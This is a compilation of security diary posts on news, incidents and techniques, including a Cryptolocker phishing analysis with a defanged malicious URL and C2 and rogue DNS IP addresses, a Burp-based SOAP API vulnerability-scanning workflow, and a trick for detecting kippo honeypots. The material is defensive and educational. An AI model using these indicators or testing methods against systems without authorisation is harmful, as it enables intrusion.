A couple of updates (thanx Rob) on the web application side of Security over the past week or so, updates for Kali Linux and OWASP Zed Attack Project (ZAP) were released for use and abuse.  

The Kali Linux version 1.0.7 was released earlier this week which includes a bucket of new features, enhancements, and a new kernel update.  According to the new release, “efforts between Kali developers and tool developers to make sure their tools are represented correctly and are fully functional within Kali Linux” has been completed with a number of tool developers.  Additionally, a new feature is the ability to create a Kali Linux Live USB with LUKS Encrypted Persistence, allowing a secure USB solution for both clean and persistent Kali USB images.

The OWASP ZAP has published ZAP Release 2.3.1, which contains a number of bug fixes to the application.  Additionally, check out some of the community support available on the OWASP ZAP page; much to choose from and easy to get started.

tony d0t carothers --gmail

Our reader Mark sent us a link he recovered from a Phishing e-mail. We don't have the e-mail right now, but the web site delivering the malware is kind of interesting in itself.

The e-mail claims to come from "Energy Australia", an actual Australian utility company, and the link leads to:

hxxp://energymar.com/ data/ electricity/ view/get/ energy.php ?eid=[long number]

Note the somewhat plausible domain name (energymar.com). The actual domain name for Energy Australia is "www.energyaustralia.com.au".

The first screen presented to the user asks the user to solve a very simple CAPTCHA. This is likely put in place to hinder automatic analysis of the URL:

(click on images to see full size)

The layout of the page matches the original very well. Users are confronted with CAPTCHAs regularly in similar sites, so I doubt this will raise suspicion.

Next, we are asked to download the file, again using a similar layout.

The "bill" itself is a ZIP file that includes a simple ZIP file that expands to an EXE. Virustotal shows spotty detection:

You can also review the full updated results here: https://www.virustotal.com/en/file/ad9692b0d589faf72121e4c390138dfe872fe913f73dd1edb699e60bab38f875/analysis/

It doesn't look like the checksum of this sample changes between downloads, so I hope AV signatures will catch up quickly.

Once downloaded and unzipped, the malware presents itself as a PDF:

But then, as soon as the malware is launched, it does reveal it's true nature:

We ran this on a fresh Windows 7 Ultimate SP1 32 Bit install with one round of patches, so there wasn't much to encrypt for Cryptolocker.

After launching the malware, the system connected via https to 151.248.118.193.( vps.regruhosting.ru ), likely to retrieve/send the key. I did not see a DNS lookup. The self signed SSL certificate include the IP address 213.183.60.75 as a Subject:

        Serial Number:
            b7:ff:8c:36:d5:71:51:b2
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: CN=213.183.60.75
        Validity
            Not Before: Apr 10 09:41:14 2012 GMT
            Not After : Apr  8 09:41:14 2022 GMT
        Subject: CN=213.183.60.75

---

Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

This keeps happening over and over, and we aren't really covering this as much as we should: Readers finally heed our advise and look at their logs! Now this should make us proud and glad. But then the bad thing happens: They have no idea what they are looking at, and the logs look scary. So the conclusion is "I am hacked!". People stop working and their only goal is to get back a clean system which they find impossible to achieve. For some people, this even results in them becoming unemployed, or worse: They become security professionals.

With this introduction, I got a challenge for you: Take a system that you reasonably believe to be "clean". Find some logs that make you think otherwise, and try to explain them. To get started, here some from my iMac desktop that I use to type this diary:

May 29 10:04:37 iMac.local com.apple.authd[57]: Succeeded authorizing right 'com.apple.ServiceManagement.daemons.modify' by client '/usr/libexec/UserEventAgent' [11] for authorization created by '/usr/libexec/UserEventAgent' [11] (12,0) 

Even after a full 5 minutes with Google, I am kind of at a loss as to what this means. In my opinion it is nothing to worry about, but then again, that is just my "impression".

May 29 10:46:16 iMac.local sandboxd[253] ([7255]): com.apple.WebKit(7255) deny file-read-data /Library/Preferences/com.apple.security-common.plist

Seems like a coding bug in Safari to me. Why? Well, WebKit is the rendering engine behind Safari, and Safari runs inside a sandbox on OS X. But why does it try to read "com.apple.security-common.plist"? Looks bad. Maybe I am just doing this too long to still care about some of these messages. Sure looks dangerous to someone who still does care.

So what are your favorite non-events? How do you figure out what is a problem and what isn't? Do we need a database of log messages with translations?

And remember,

“Just because you're paranoid doesn't mean they aren't after you” (Joseph Heller, Catch 22).

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
LinkedIn

Earlier today, the popular disk encryption tool Truecrypt was essentially removed from Sourceforge, and replaced with a warning that Truecrypt is no longer secure and people should switch to Bitlocker  (with instructions as to how to do this). The source code was updated and essentially all functionality was removed but the installer will now just show a message similar to the one displayed on the homepage.

What you probably are asking first about: What does this mean for me if I use Truecrypt?

At this point, there are many rumors, and few facts. It is my recommendation (as always) to stay calm. One thing you want to do right away: Get a copy of the last working version and burn it to CD (actually: 3 CDs) in case it is no longer available and you need to access offline media that are encrypted using Truecrypt. Find out what your alternatives are. In Windows you have Bitlocker, in OS X you got FileVault and in Linux you got LUKS. Sadly, these are not compatible with each other. You will need to find a replacement for portable media that need to move between operating systems. PGP/GnuPG comes to mind as an option. 

Now back to what we know so far:

Recently, a community effort was launched to review the Truecrypt code, in particular to check for backdoors and incorrectly implemented crypto algorithms. As far as I know, no significant issue was found to date.

This very much smells to me like a compromised Sourceforge repository. Truecrypt uses Sourceforge for all of its content. At this point, sit back, don't visit the Truecrypt Sourceforge page or download the crippled version, but don't panic (yet).

But, via twitter and e-mail, some additional disturbing facts came in that make this look worse then a simple web site compromise:

• The new "decrypt only" binary was signed with what looks like a valid Truecrypt code signing key (I believe GRC.com investigated this)
• The PGP signature was valid as well
• The Truecrypt development team is anonymous, and so far, no word if the code review team was able to reach them.

Correction about the earlier note that Sourceforge was compromised: Turns out that they asked users to change passwords NOT because of a compromise, but because they changed the hashing algorithm.

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
LinkedIn

Something I've noticed recently is that most of the websites I've been asked to assess now seem to be "new, improved, and with an API".  Often the API is based on SOAP, and it's been an interesting discussion on how best to scan these new Web Services based on WSDL for vulnerabilities.

The simple way is to run the developers test suite, usually coded up as a project file in SoapUI, through BURP.  However, what folks are finding is that the proxy function within SoapUI simply doesn't work, especially for HTTPS.  And the SoapUI solution to get around this is pretty convoluted.  The solutions that folks have generally come up with have also in some cases been complex, and most of them include the step "change the SoapUI test for this case from HTTPS to HTTP" (counting on BURP to flip it back to HTTPS).  (http://ardsec.blogspot.ca/2012/08/soapui-to-burp-fuzz-away.html and http://gerionsecurity.com/2013/03/soapui-with-burp/  for instance lay out two ways to take this path).

These solutions against the grain for me, mostly because I'm lazy.  If I need to update all of the test cases in an API, that's generally somewhere between 1-3 mods per API call, and when the developer comes out with the next version (as they are wont to do), I have to do all of that all over again.  And if I miss one, that'll be the one that would have given me SQL injection or something else equally good.

So how do I get around this?

Simple.  I use the "Invisible Proxy" feature within Burp (any other product would call this "transparent" instead of "invisible" proxy).  Let's do this step by step:

You'll need two hosts - I use two VMs. Mainly because my mantra is that you really need a good reason to rn anything physical.  Install SoapUI on one, and Burp on the other.  I'm going to assume that these are both Windows boxes, but this works just as well with Linux of course

1/ Out of the box, run all the tests within the SoapUI project, as received from the developers

2/ Now flip out to a command prompt and dump your DNS cache, so you know which hosts are being called in the API (they're not always the hosts you think they are).  In Windows, this is:

ipconfig /displaydns

or, since you just want the hostnames and IPs (in short, the actual DNS records), run:

ipconfig /displaydns | find "Record"

Many Linux hosts don't do DNS Caching, so you might need to run tcpdump and capture unique dns queries instead (or extract the DNS records used by the SOAP tests from your local DNS Server logs, but that's not as reliable)

3/  Next, on the SoapUI machine edit the local hosts file (c:\windows\system32\drivers\etc\hosts, or /etc/hosts) and add a host entry for each of the API targets.  Instead of the real IP of the target, use the IP of the Burp machine, so that the Test Suite is directed at Burp.

4/ Over to Burp to the Burp machine, fire up Burp, and enable Transparent Proxy.   Be sure to enable it for the address you are targeting as proxy, or enable it for everything.  Also be very sure that you enable it for each port in use.  I've noticed developers lately have started using not just tcp/80 and 443, but have started getting "cute" with the https ports, often using 4443, 8443, 8843 and so on.  That pcap file created in step 2 might come in really handy, or you can just look at the various tests in the Test Suite to get all of these ports.  You'll need a proxy set up for each tcp port in use.

For instance, setting up port 443 will look like:

     and   

When you are done, your proxy Options screen should look like this – “Invisible” indicates a port that is proxying transparently (note that your screen will vary depending on ports in use)

5/ Back to your SoapUI machine, re-run your API tests - they'll all show nicely in the Burp Target pane!

6/ Still in Burp, everything is now set up to use Scanner, Repeater, Intruder or any of the other Burp functions.  For instance, in Burp Scanner, the SOAP services above ended up with the issues listed below:

And yes, SQL injection was verified and worked, so did XML injection!

Interestingly, there is a security tab in SoapUI, where you can do some basic security tests - mostly looking for basic SQL Injection and XML Injection.  I’m still playing with this – so far I’ve been running both, and Burp is coming out ahead.  However the SoapUI app is showing XSS vulnerabilties that Burp does not.  Look for a second story on this after I've had some time to work it through.

Of course, the tools will only get you so far.  Once you have a list of possible vulnerabilities, you still need to manually verify each one.  And also of course, once you have the API all mapped out, playing with it manually (or with Repeater / Attacker and so on in Burp) will often net you your best findings.

What will you typically see?  Developers are getting the idea that XSS and SQL injection are bad things, so in well run dev shops I'm seeing this easy stuff crop up less and less.  However, every time I look at an API, I find this good stuff all over again.  SQL injection in the API is just too much fun !  XML injection is also very common (of course) - you'll find that if you put this in your report as a finding, you'll have to add a page on what exactly that is, and how it impacts the security of the application, and in turn how it impacts the organization.

So, in short, APIs seem to be offering up the new “low hanging fruit”.  If you've found something cool in a SOAP API, please let us know in our comment form.  Or better yet, if you've found some other way to simplify proxying SoapUI through Burp or otherwise evaluating SOAP interfaces, please also let us know!

SoapUI plus Burp - it's like chocolate, but with more chocolate!

===============
Rob VandenBrink
Metafore

    A quick note from reader James has alerted us that the anti-virus vendor avast has taken their support forum offline because it was breached this past weekend.  His notice arrived over email and is pasted below.  I could not find a formal notice on avast.com to corroborate, however the forums site is still unreachable at the time of this writing.  There are no further details on the how the forum was breached.  

     I appreciate the realistic perspective communicated that 'we hash the passwords, but that does not make it fully secure'.  If anyone happens to have any additional details they can share please post a comment.

 

Dear DigiAngel,

The AVAST forum is currently offline and will remain so for a brief period. It was hacked over this past weekend and user nicknames, user names, email addresses and hashed (one-way encrypted) passwords were compromised. Even though the passwords were hashed, it could be possible for a sophisticated thief to derive many of the passwords. If you use the same password and user names to log into any other sites, please change those passwords immediately. Once our forum is back online, all users will be required to set new passwords as the compromised passwords will no longer work.

This issue only affects our community-support forum. No payment, license, or financial systems or other data were compromised.

We are now rebuilding the forum and moving it to a different software platform. When it returns, it will be faster and more secure. This forum for many years has been hosted on a third-party software platform and how the attacker breached the forum is not yet known. However, we do believe that the attack just occurred and we detected it essentially immediately.

We realize that it is serious to have these usernames stolen and regret the concern and inconvenience it causes you. However, this is an isolated third-party system and your sensitive data remains secure.

All the best,

Ondrej Vlcek
COO AVAST Software

 

 

The National Institute of Standards and Technology (NIST) Information Technology Laboratory (ITL) has announced both an updated, and a new initial draft publication, over the past two weeks that is fairly significant to most of us in the security field.  The NIST ITL group is charged with “promote U.S. innovation and industrial competitiveness by advancing measurement science, standards, and technology through research and development in information technology”.

NIST ITL has published an online database of controls for NIST 800-53 rev. 4 “Recommended Security Controls for Federal Information Systems and Organizations”.  This will enable organizations to quickly search and download the catalog of security controls and procedures defined in this publication.  The link above contains additional information, as well as a link to the files available for download for both revisions 3 and 4 of NIST 800-53.

The second release is an initial publication of NIST 800-160 “Systems Security Engineering: An Integrated Approach to Building Trustworthy Resilient Systems”.   This document is an excellent source of information for all security professionals, whether in the role of a Security Engineer as a full time position, or an Operations Analyst who is part of a ‘one stop shop’ for delivery and operations of security systems.  The document does a good job of explaining how Security integrates into the planning, design, and delivery of systems, and how our efforts integrate with the overall systems engineering program.  I hope to have some time for a more comprehensive summary in the coming weeks as this is one of the most useful publications I’ve seen come out of NIST in a number of years.

tony d0t carothers --gmail

A few weeks ago I worked on a cryptodefense incident. A few things were done right in the organization and a few not so well. However in this particular instance there is a happy(ish) ending.  

Cryptodefense made its appearance around February this year on the back of the success of Cryptolocker. The basics remain the same though and once infected the malware searches out PDF, doc(x), jpg and a few more document types and encrypts those. Files are encrypted using a RSA 2048 bit key which is placed in the user's AppData Directory (/Users/xxxxxx/AppData/Roaming/Microsoft/Crypto/RSA/S-1-5-21-254666440-1725212059-1820442801-6608/28093c3a55c1788ef10f8a6ac25eff17_55be799d-cb75-4e81-9059-484e3bdbf27e ).  The application then starts encrypting files in various directories.  From the mactime time line the /User/ directories are done first as well as the recycling bin. 

Each directory containing encrypted files also has three files in them starting with HOW_DECRYPT. The file contains instructions on how to have your files decrypted after paying. The three files provide instructions on how to decrypt the file, or more accurately provide a link to where you can pay to get the decrypt application which will use the key on your machine to decrypt your files.

The impact of this particular malware can be devastating.  Looking at what is left of the hard drive every directory that looks like it may have documents or pictures in it has been touched.  This includes things like dropbox and network shares. In an incident elsewhere earlier in the year external harddrives were also encrypted.

The AV product used did not pick up this particular variant, nor did the web content filters. The AV did however find some malware (possibly related) on the machine around the same time the encryption processes started.  However this was not responded to by the user or IT.    

So what were the lessons learned in this instance?  Well for starters backups are your friend.  In this particular instance the organization had good backups of the files on the servers.  So those files could be replaced from the backups.  The Dropbox files were also ok as they have previous versions of the document available.  Local files on the machines however did not have backups, so these were essentially lost (if infected with the pre April 2014 version you may have the key)*. 

The other lesson learned was to take AV responses more seriously.  Just because the AV says it has cleaned something does not necessarily mean that everything is gone, only the bits it knows about.  In this instance it missed the malicious files (likely part of a Bing bar installation which happened prior to the infection starting), but picked up other rubbish that was running on the machine.  Possibly a coincidence, but ...  The encryption process took a few hours.  Had the machine been pulled of the network when the infection was noticed, fewer files would have been affected.

So in short AV is not perfect, but respond when it tells you things have been infected. Secondly have viable backups, including files on roaming machines such as laptops.  If not, be prepared to fork out money or go through a painful decrypting exercise (until they start putting the keys elsewhere).

Cheers

Mark H - Shearwater  

*updated to clarify.

Okay, 

Disclaimer *and a blatent attempt to divert attention away from quality :)*, I am not a journalist, photographer etc etc etc.. This was done with my iPhone as a last minute idea. This is my first one, if the community likes these, I'll make more (and likely get better with practice).

 

 

Richard Porter

--- ISC Handler on Duty

Many years ago, when the internet was still a different place before Twitter, RSS and browser notifications, Tom Liston was kind enough to write a very compact task bar application displaying the current "Incocon". The application, also known as "blinky globe thing", was mostly known for its impeccable implementation of the color orange. 

However, the application uses a non-standard RSS feed, and does not speak SSL. We recently changed our site to SSL only, breaking the current "blinky globe" to only show blue. Also, there are now a number of other more standard ways to receive notifications about infocon changes. As a result, I decided to stop supporting "ISCAlert". If you still use it, please uninstall it. 

For alternatives, please see our notification system: https://isc.sans.edu/notify.html . We currently offer "SMS compatible" e-mail notifications and will soon have browser notifications (part of this is already live). We do also have a number of RSS feeds, simple text feeds (e.g.. https://isc.sans.edu/infocon.txt ) and Twitter to notify you of impeding doom.

For more about the Infocon, see https://isc.sans.edu/infocon.html

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

So after yesterday's news that eBay had been compromised, and that the compromise was in play for a good 2-3 months (short in comparison to many), I decided it was time to change my passwords.  Yes - ALL of them.

Don't get me wrong, I do change my passwords - really.  Not as frequently as I should, but it happens.  I decided to use my little "make me a random string" character generator script, and set them all to 32 char gobbledygook.  Except for the ones that have 10, 16 or 20 character maximums that is (really? that limit was a good idea why?)

So I dug through all my applets, "saved password" tabs and saved notepads to find them all, and change them all.  It's amazing how many logins you can accumulate over the years.  It's also amazing how many of these logins have my credit card info (eeps).  eBay, Paypal, Apple, travel sites - it really starts to add up.

What did I find when I got going on this?

• For starters, since the last time I reset almost EVERY site has let their marketing and "design" folks at their site layout.  The password change is almost universally hidden 4-10 or more clicks and menus deep in the interface.  
• Many sites now disable the "paste" function.  So if you have a complex password, you can't cut and paste it - you have to type it from the keyboard.  This also breaks many "password keeper" applications.  So what does this encourage?  Simple passwords, that's what.  Just because you can enable a neat feature doesn't meant that it's helpful.
• Don't even get me started on Facebook.  I'm not even sure how i got to the menu (it took a while), but when I did, password change was under "General" instead of "Security".  Like so many other sites, "security" to Facebook is about Authorization (who can see me) rather than Authentication (credentials).  And the 3rd A" in "AAA" - Accounting - is not available to the end user, only to the system administrators.  So if someone has attacked and/or compromised your account, the only folks who see that are the ones who review the logs.  Oh - and I guess that's a problem too. 
• Facebook does have a nice "log me out of other devices" option during the password change though.  So if it's an attacker who's compromised your account, they can punt you offline as they change your password.  They phrased it the other way though - I guess it's a race to see who gets to the password change page first.
• I'm still working on my Apple password.  Apparently they've decided that my favourite book as a child doesn't meet their literary standards, so they've changed it.  More likely, what I typed in is still there and is case sensitive - and knowing me, it's either all lower case, or the one Cap in the phrase is accidental.  Long story short, I can't answer the challenge phrases.  And the "send me an email" trapdoor didn't work - no email yet. 

What does this all add up to?  Web designers really have made it increasingly difficult for us to protect our credentials.  Almost every site has emphasised the "friends and sharing" functions, and this has crowded the "protect your credentials" stuff into the background.  Challenge phrases are great I suppose, but making challenge phrases case sensitive is a really bad idea.  Not a single site in my list had a periodic password change requirement.

The other big conclusion?  It'd be nice if more sites implemented two factor authentication - that way a password breach wouldn't be such an emergency or such big news.

Long story short, when sites say "we've been breached, please change your password", I think that's in the nature of a dare or a challenge - it's not as easy as it sounds.

===============
Rob VandenBrink
Metafore

The Zero Day Initiative has published a new and unpatched IE 0-Day that was originally reported to them (and by extension, Microsoft) in October 2013.  In essence, a victim has to go to a crafted webpage that takes advantage of handling of CMarkup objects which ultimately can be used to execute code with the permissions of the web browser process.  Microsoft says the EMET will mitigate this vulnerability and at least Tipping Point claims protection with their devices.  At this point, there is no indication that it is being used in the wild.  The interesting thing here is the timeline between initial report and there being no patch.

This diary will be updated as the situation warrants.

--
John Bambenek
bambenek \at\ gmail /dot/ com
Bambenek Consulting

Usually, your operating system will be assigned a DNS server either via DHCP (or RAs in IPv6) or statically. The resolver library on a typical workstation will then go forward and pass all DNS lookups to this set of DNS servers. However, malware sometimes tries to use its own DNS servers, and blocking outbound port 53 traffic (udp and tcp) can help identify these hosts.

Brent, one of our readers, does just that and keeps finding infected machines that way. Just now, he is investigating a system that attempted to connect to the following name servers:

101.226.4.6
114.114.114.114
114.114.115.115
123.125.81.6
140.207.198.6
202.97.224.69
211.98.2.4
218.30.118.6
14.33.133.189

He has not identified the malware behind this yet, but no other system he is using ("we are running bluecoat web filter AND we're using OpenDNS AND I'm running snort"). Brent uses oak (http://ktools.org/oak/) to help him watch his logs and alert him of issues like this.

According to the Farsight Security passive DNS database, these IPs resolve to a number of "interesting" hostnames. I am just showing a few here (the full list is too long)

ns-facebook-[number]-[number].irl-dns.info   <- the [number] part appears to be a random number
*.v9dns.com    <- '*' to indicate various host names in this domain.
v2.3322pay.com
bjcgsm.com
sf5100.com
 

------------------
Johannes B. Ullrich, Ph.D.

SANS Technology Institute
Twitter

Fresh off our discussion regarding PowerShell, now for something completely different. In order to bring balance to the force I felt I should share with you my recent use of sed, "the ultimate stream editor" and awk, "an extremely versatile programming language for working on files" to solve one of fourteen challenges in a recent CTF exercise I participated in.

The challenge included only a legitimate bitmap file (BMP) that had been modified via least siginficant bit (LSB) steganography and the following details. The BMP was modified to carry a message starting at the 101st byte and only in every 3rd byte thereafter. The challenge was therefore to recover the message and paste it as the answer for glory and prizes (not really, but pride points count). What was cool about this CTF is that while a number of my associates participated not one of us approached the challenge the same way. One used Excel with VB, another used AutoIT, and yet another wrote his own C#. Since I'm not as smart as any of these guys, I opted to trust the force and use our good and faithful servants sed and awk on my SIFT 3.0 VM along with a couple of my preferred editors (010 and TextPad) on my Windows host. I know, I know, "WTF, Russ, just do it on one system." I can say only that I am fixed in my ways and like to do certain things with certain tools, so I'm actually faster bouncing back and forth between systems. Here's what I did in seven short steps, with some details and screenshots. Note: I share this because it worked and I enjoyed it, not because I'm saying it's an optimal or elegant method.

1) I opened the .bmp in 010 Editor and first deleted bytes 1 through 100 given that the message starts at the 101st byte. Remember, if you choose to do this by offset the first byte is offset 0 and the 101st is the 100th offset. This critical point will be pounded (literally) into your head by Mike Poor when taking the GCIA track, which I can't recommend enough. Then under View chose Edit As and switched from Hex to Binary (remember we're working with the least significant bit). I then selected all binary, chose Copy As, and selected Copy As Binary Text which I saved as challenge13binaryRaw.txt.

2) I opened challenge13binaryRaw.txt in TextPad because I love its replace functionality. The binary text output from 010 Editor is separated by a space every 8 bits/1 byte. In TextPad I used a regular expression replacement to convert the text to a single column (replaced every space with a newline \n), which I saved as challenge13binaryRaw-column.txt.

3) I then used sed on challenge13binaryRaw-column.txt to print only every third byte, described in the challenge description as those containing the message, and saved it to every3rd.txt as follows: sed -n '1~3p' challenge13binaryRaw-column.txt > every3rd.txt. In this syntax, sed simply starts at the 1st line then prints every 3rd ('1~3p').

4) To then grab the least significant bit from each line of every3rd.txt I used awk as follows: awk '{print substr($0,8)}' every3rd.txt > lsb.txt. This tells awk to grab the 8th character of each line and print it out to lsb.txt, the 8th character representing the least significant bit in each 8 bit byte.

5) lsb.txt now contains only the message but I need to format it back into machine readable binary for translation to human readable text. Back to TextPad where I used another regex replacement to convert a long column of single bits back to one line and save it as lsb-oneline.txt. Replacing a carriage return (\r) with nothing will do exactly that.

6) In order for machine translation to successfully read the newly compiled message traffic, we now need to reintroduce a space between every 8 bits/ 1 byte which we can again accomplish with sed and save it to finalBinary.txt as follows: sed 's/\(.\{8\}\)/\1 /g' lsb-oneline.txt > finalBinary.txt

7) I then copied the content from finalBinary.txt into a binary translator and out popped the message.

It was actually the same short message looped many times through the BMP but I went for overkill extracting it not knowing the parameters other than those defined by the challenge description (no mention of how long the message was). A bit clunky to be sure but for you forensicators looking for ways to pull out messages or content embedded via LSB steganography, this approach might be useful. And no, I'm not telling you what the message was or sharing the BMP file in case the CTF administrators wish to use it again. :-) You'll want to brush up on your regex; one of my favorite resources is here.

Cheers and enjoy.

Russ McRee | @holisticinfosec

 

 

Apple has released an update to address CVE 2014-1347 (1) for iTunes which addresses a specific vulnerability in the permissions of files and folders of the system.  This vulnerability address a sitution, where "upon each reboot, the permissions for the /Users and /Users/Shared directories would be set to world-writable, allowing modification of these directories. This issue was addressed with improved permission handling". 

As always, please ensure that all changes are tested and deployed in compliance with enterprise change management standards :)

(1)http://support.apple.com/kb/TS5434

tony d0t carothers --gmail

Yesterday, Rob discussed Collecting Workstation / Software Inventory Several Ways, including PowerShell. I don't spend nearly as much time as I used to going hands-on with systems, but everytime I need to solve a problem on Windows hosts, PowerShell is there for me. Sadly my PowerShell fu is weak as compared to where I'd like it to be, but as an assimilated minion (1 of 7) of the Redmond Empire I have the benefit of many resources. Luckily much content is publicly available and you have Lee Holmes to help you with PowerShell mastery. Lee really is the man on the PowerShell front, you'll note his Windows PowerShell Pocket Reference in it's rightful place on my desk.

Amongst my many pet peeves are overly permissive file shares with the likes of Everyone, Domain Users, Domain Computers, and Authenticated Users granted unfettered access. No one every leaves PII, config files, and user name password lists on a share, right? And no one with unauthorized or inappropriate access ever makes their way on to enterprise networks, right? Sure, Russ, sure. :-) Back in the real world, where would we be without an entire industry sector dedicated to DLP (data leak prevention solutions)? Oh yeah, probably in a world with less SPAM and cold calls, but I digress.

Step 1: We admitted we were powerless over misconfiguration—that our networks had become unmanageable.

Step 2: Came to believe that PowerShell could restore us to sanity.

I have fallen deeply, unmanageably, irrevocably in love with the Revoke-SmbShareAccess cmdlet available on Windows Server 2012 R2 and Windows 8.1 systems (Windows PowerShell 4.0). Having tried to solve this issue with the likes of Set-Acl and requiring serious counseling thereafter, Revoke-SmbShareAccess (and it's friends Block, Unblock, Get, and Grant) allowed me to do in three lines what could not be otherwise done easily or elegantly. 

"The Revoke-SmbShareAccess cmdlet removes all of the allow access control entries (ACEs) for a trustee from the security descriptor of the Server Message Block (SMB) share." Sweet!

Examples? You bet. The terms share and server are used generically here; you'll need to apply the appropriate nomenclature.

Local (single share, single account):
Revoke-SmbShareAccess -Name share -AccountName "Everyone" -force

Local (single share, multiple accounts):
Revoke-SmbShareAccess -Name share -AccountName "Everyone","Domain Users","Domain Computers","Authenticated Users" -force

Remote (single share, single account):
Revoke-SmbShareAccess -name share -CimSession server -AccountName Everyone -Force

Remote (single share, multiple accounts):
Revoke-SmbShareAccess -name share -CimSession server -AccountName "Everyone","Authenticated Users","Domain Users","Domain Computers" -Force

For Remote (multiple share, multiple servers, multiple accounts), where you want to use a list of servers and/or shares you can build a small script and define variables that pull from text lists.

$servers = Get-Content -Path C:\powershell\data\servers.txt
$shares = Get-Content -Path C:\powershell\data\shares.txt
Revoke-SmbShareAccess -name $shares -CimSession $servers -AccountName "Everyone","Authenticated Users","Domain Users","Domain Computers" -Force

Obviously, you'll want to tune, experiment, and optimize but hopefully this may help get you started on the cleanup process. You'll want to overly communicate with your user base advising them to create security groups granting share access only to those people (and systems) embedded in the appropriate group. Don't just go removing these permissions without an awareness campaign. You don't want that call: "You broke my entire service when you removed Everyone share permissions!" Argh. Remember also the nuances (they are many) between share permissions and NTFS permissions.

Good luck and cheers!

Russ McRee | @holisticinfosec

One of the "prepare for a zero day" steps that I highlighted in my story last week was to inventory your network stations, and know what's running on them.  In short, the first 2 points in the SANS 20 Critical Security Controls.  This can mean lots of things depending on your point of view.

Nmap can make an educated guess on the existence of hosts, their OS and active services:
nmap -p0-65535 -O -sV x.x.x.0/24
Good information, but not "take it to the bank" accuracy.  It'll also take a LONG time to run, you might want to trim down the number of ports being evaluated (or not).  Even if you don't take this info as gospel, it's still good supplemental info, for stations that are not in your domain.  You can kick this up a notch with Nessus (Nessus will also login to stations and enumerate software if you have credentials)

If you're running active directory, you can get a list of hosts using netdom, and a list of apps on each host using WMIC:
netdom.exe query /domain:domainname.com workstation | find /v "List of Workstations" >stations.out

(if you use "server" instead of "workstation", you'll get the server list instead)

and for each station:
wmic product list brief

But having run exactly this recently, this can take a LONG time in a larger domain.  How can we speed this up?  In a word, Powershell.
To inventory a domain:
import-module ActiveDirectory
Get-ADComputer -Filter * -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack,OperatingSystemVersion

To inventory the software on a remote workstation:
Get-WmiObject -Class Win32_Product -computername stationnamegoeshere | Select-Object -Property Name

( see here for more info: http://technet.microsoft.com/en-us/library/ee176860.aspx)

I collected this information first using the netdom/wmic way (hours), then using powershell (minutes).  Guess which way I'd recommend?

OK, now we've got what can easily be Megabytes of text.  How do we find out who needs some TLC?  Who's running old or unpatched software?

As an example - who has or does NOT have EMET 4.1 installed?

To check this with WMIC:

"go.cmd" (for some reason all my parent scripts are called "go")  might look like:
@echo off
for /f %%G in (stations.out) do call emetchk.cmd

and emetchk.cmd might look like:
@echo off
echo %1  >> inventory.txt
wmic /node:%1 product where "name like 'EMET%%'" get name, identifyingnumber, InstallDate >> inventory.txt
echo.

Or with powershell, the domain enumeration would look like:
import-module ActiveDirectory
Get-ADComputer -Filter * -Property * | Format-Table Name,OperatingSystem,OperatingSystemServicePack,OperatingSystemVersion  > stations.out

Then, to enumerate the actual applications (for each station in stations.out), you could either use the emetchk.cmd script above, or re-do the thing in powershell (I haven't gotten that far yet, but if any of our readers want to add a script in the comments, I'm sure folks would love to see it!) - in this example the

Get-WmiObject -Class Win32_Product -computername stationname | Select-Object -Property Name > stationname.txt

Done!

If you run this periodically, you can "diff" the results between runs to see what's changed.  Diff is standard in linux, is part of Windows these days also if you install the SFU (services for unix), or you can get a nice diff report in powershell with :

Compare-Object -ReferenceObject (Get-Content c:\path\file01.txt) -DifferenceObject (Get-Content c:\path\file02.txt)

But what about the stations who aren't in our corporate domain?  Even if your domain inventory is solid, you still must sniff network traffic using tools like PVS (from Tenable) or P0F (open source, from http://lcamtuf.coredump.cx/p0f3/) to identify folks who are running old versions of java, flash, air, IE, Firefox (pre-auto update versions mostly) and so on, that aren't in your domain so might get missed in your "traditional" data collection.  Normally these sniffer stations monitor traffic in and out of choke points in the network like firewalls or routers.  We covered this earlier this year here: https://isc.sans.edu/diary.html?date=2013-12-19

I hope this outlines free or close to free solutions to get these tasks done for you.  If you've found other (or better) ways to collect this info without a large cash outlay and/or a multi-week project, please share using our comment form.

===============
Rob VandenBrink
Metafore

Last week, we saw Orange (a Telecom company based in France) compromised, with the info for 1.3 million clients breach.  At this time, it does not appear that any credit card numbers or credentials were exposed in that event.(http://www.reuters.com/article/2014/05/07/france-telecomunications-idUSL6N0NT2I120140507)

The interesting thing about this data breach was that it involved systems that would not be considered "primary" - the site compromised housed contact information for customers who had "opted in" to receive sales and marketing information.

I'm seeing this as a disturbing trend.  During security assessments, penetration tests and especially in PCI audits, I see organizations narrow the scope to systems that they deem as "important".   But guess what, the data being protected has sprawled into other departments, and is now housed on other servers, in other security zones where it should not be, and in some cases is in spreadsheets on laptops or tablets, often unencrypted.  Backups images and backup servers are other components that are often not as well protected as the primary data (don't ask me why this oversight is so so common)

The common quote amongst penetration testers and other security professions for this situation is "guess what, the internet (and the real attackers) have not read or signed your scope document"

It's easy to say that we need to be better stewards of our customer's information, but really we do.  Organisations need to characterise the "what does our information look like" (with regex's, or dummy customer records that you can search for), then go actively hunt for it.  Be your own Google - write scripts to crawl your own servers and workstations looking for this information.  Once this process is in place, it's easy to run this periodically, or better yet, continuously.  Put this info into your SNORT (or other IPS) signatures so you can see them on the wire, in emails, file/copy or file/save operations.

Too often the breach that happens is on a system that's out of scope and much less protected than our "crown jewels" data deserves.  If you're in the process of establishing a scope for PCI or some other regulatory framework, stop and ask yourself "wouldn't it be a good idea to put these controls on the rest of the network too?"

===============
Rob VandenBrink
Metafore

We all know that the ssh honeypot "kippo" is a great tool. But it is awful easy for an attacker to figure out that they are connected to a kippo honeypot. The latest trick I see people use is to run the "file" command, which is not impleneted in kippo. For example:

# file /sbin/init
bash: file: command not found

While on a real system, I would get

# file /sbin/init
/sbin/init: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x7aa29ded613e503fb09fb75d94026f3256f01e7a, stripped

This is a bit a tricky one to "fix" in that it requires more then just a static response as the attacker may try different files to test. So it would require something like a full database of possible files to try. Or (risky...) an implementation that would use actual output from the system kippo is running on.

Maybe I will have a patch for kippo latre today to implement either solution.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

We are now up to 3 bulletins from Adobe.

